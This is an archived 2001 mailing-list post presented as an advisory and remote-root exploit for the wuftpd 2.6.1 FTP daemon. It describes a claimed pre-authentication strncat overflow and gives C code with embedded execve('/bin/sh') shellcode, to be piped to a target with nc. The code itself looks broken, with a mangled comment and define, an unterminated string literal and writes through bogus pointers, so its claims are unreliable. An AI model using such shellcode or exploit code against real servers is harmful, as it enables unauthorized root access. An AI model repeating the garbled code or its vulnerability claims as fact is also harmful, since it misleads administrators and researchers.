wuftpd 2.6.1 advisory/exploit

From: Carolyn Meinel (carolynat_private)
Date: Wed Sep 19 2001 - 00:10:20 PDT

  • Next message: Kayne Ian (Softlab): "Outlook virus again."

    Hello,
    
    In the interests of full disclosure, I am posting an exploit that was
    developed single-handedly by my good friend Andrew Plughes over the
    weekend. I had absolutely no part in the discovery of this serious
    vulnerability, so I won't soak in Andrew's credit ;).
    
    I have also mirrored this advisory+exploit on my website:
    
    http://www.techbroker.com/wu261.txt
    
    It's been a pleasure having Andrew as a cohort over the years, and
    I'd like to thank him for selflessly dedicating himself to security
    research.  
    
    We acknowledge a risk involved in submitting exploit code to a
    public forum, with the possibility of characters of low demeanour
    getting their hands on it. After lengthy discussions, we decided
    that the work required to exploit the vulnerability is sufficient
    to raise the bar on using it.
    
    Yours truly,
    
    Carolyn Meinel
    cmeinelat_private
    
    ---
    
    Carolyn, my initial ideas about the vulnerability were not entirely
    accurate, but I have confirmed that it -does- indeed exist. I am
    enclosing some code that will spawn a remote root shell on vulnerable 
    systems, although it does require some effort to get it up and running. 
    It works against some Linux machines Bill gave me access to, and I 
    suspect it will work against the BSDs (chroot-breaking is not a 
    problem). 
    
    At your request, I have sent the developers the intricate details
    of the hole in wuftpd 2.6.1 (and 2.6.0, but not in 2.5.x as far as
    I can see). To outline the vulnerability for Bugtraq:
    
    - The overflow occurs in the pre-authentication stages of the 
      client session. 
    
    - During the transition to the 2.6.x releases, the wuftpd
      development team redesigned the command processing code 
      in the daemon. Earlier releases are not believed to be
      vulnerable to similar problems.
    
    - There is a strncat() cast overflow in the way a signed 
      integer derived from a malicious command length is used as 
      the third argument in an attempt to confine data within a 
      buffer allocated on the stack (they don't believe a command
      containing 1 character will occur). If we make the signed 
      integer negative, we are granted the ability to transform the
      third argument to strncat() into a HUGE positive value. 
      However, because (signed_integer + 2) is used to dynamically 
      allocate memory elsewhere with malloc(), we should set this 
      integer to -2, or preferably -1. There will be subsequent 
      heap corruption, but this occurs after the stack smash. That
      may be worth looking at too. 
    
    - We can only overflow by one byte because of the call to
      exit() that will be made if strlen() flags the string
      as being too large. As luck would have it, the target
      buffer is adjacent to the saved frame pointer in the
      vulnerable function, and we can take advantage of this
      in a similar way to the OpenBSD ftpd vulnerability.
        
    I have sent a patch to the wuftpd developers, but it just
    checks for the evil negative integer created indirectly as
    a result of the short command. I'm sure the developers will 
    release a more involved patch within the next few days. 
    
    Disable the daemon immediately. While this is not something
    that will be easily exploited (my demonstration exploit needs
    some work), it is a very serious threat.
    
    --
    Andrew Plughes
    Network security aficionado / UNIX administrator
    
    
    /*
     * wu261.c
     * wuftpd 2.6.1 exploit (remote root)
     *
     * Vulnerability and code from Andrew Plughes.
     *
     * Usage: (./wu261 [address]; cat) | nc host 21
     * address = argument location on heap (defeats Openwall)
     *
     * Demonstrates a flaw in the pre-authentication code of 
     * wuftpd 2.6.x which allows us to gain control of the
     * target process by displacing a saved frame pointer.
     *
     * Tested against some Linux distributions.  
     *
     * I'd like to thank Bill Harrington for providing me 
     * with some test boxes. 
     *  
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    unsigned char linux_x86[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    
    unsigned char *shellcode = linux_x86;
    
    
    //#define POTS 12                       /* fill these in for your
    #define DEF_ALGN 1                       * target system  
    //#define HEAP_ADDR 0x41414141           */ 
                                          
                            
    int main(int argc, char *argv[])
    {
            int i;
            unsigned long attack[1028 / 4];
    
    /* redhat 7.0 */
    #define ADDR 0x08049588 
    #define POSITION_OF_THE_STRING 16
    #define target (unsigned long) 
    
    // unsigned long arg_addr = target HEAP_ADDR, align = DEF_ALGN;
    
            unsigned long arg_addr = ADDR, align = DEF_ALGN,
            pots = POSITION_OF_THE_STRING;
    
            if(argc == 2) 
            arg_addr = strtoul(argv[1], NULL, 0);
    
            system("clear");
            fputs("wuftpd 2.6.1 exploit\n", stderr);
            fputs("developed by Andrew Plughes\n", stderr);  
    
            for(i = 0; i < 1028 / 4; i++) 
            attack[i] = arg_addr;
    
            /* trigger the cast overflow with this command */
            sprintf((char *)attack, "U aa"); // "aa" -> for "\r\n"
    
            /* position of the string */
            for(i = 0; i < 4; i++)  
            sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 & 0xff);
    
            /* function var position */
            pots = *(unsigned long *)(attack[1] + 2); // rh7 -> attack+16+2
            /* set the function var accordingly */
            *(unsigned long *)pots = align; 
    
            /* spaces for the process alignment */
            sprintf((char *)attack+20, "%*s", align % 4, "    "); 
    
            printf("USER %s\r\n", shellcode);
            printf("%s\r\n", attack);
            puts("echo ~ ok, it seems to have worked... remember: \");
            puts("rm -rf is not elite ~");      
            
            exit(0);
    }
    



    This archive was generated by hypermail 2b30 : Wed Sep 19 2001 - 08:21:11 PDT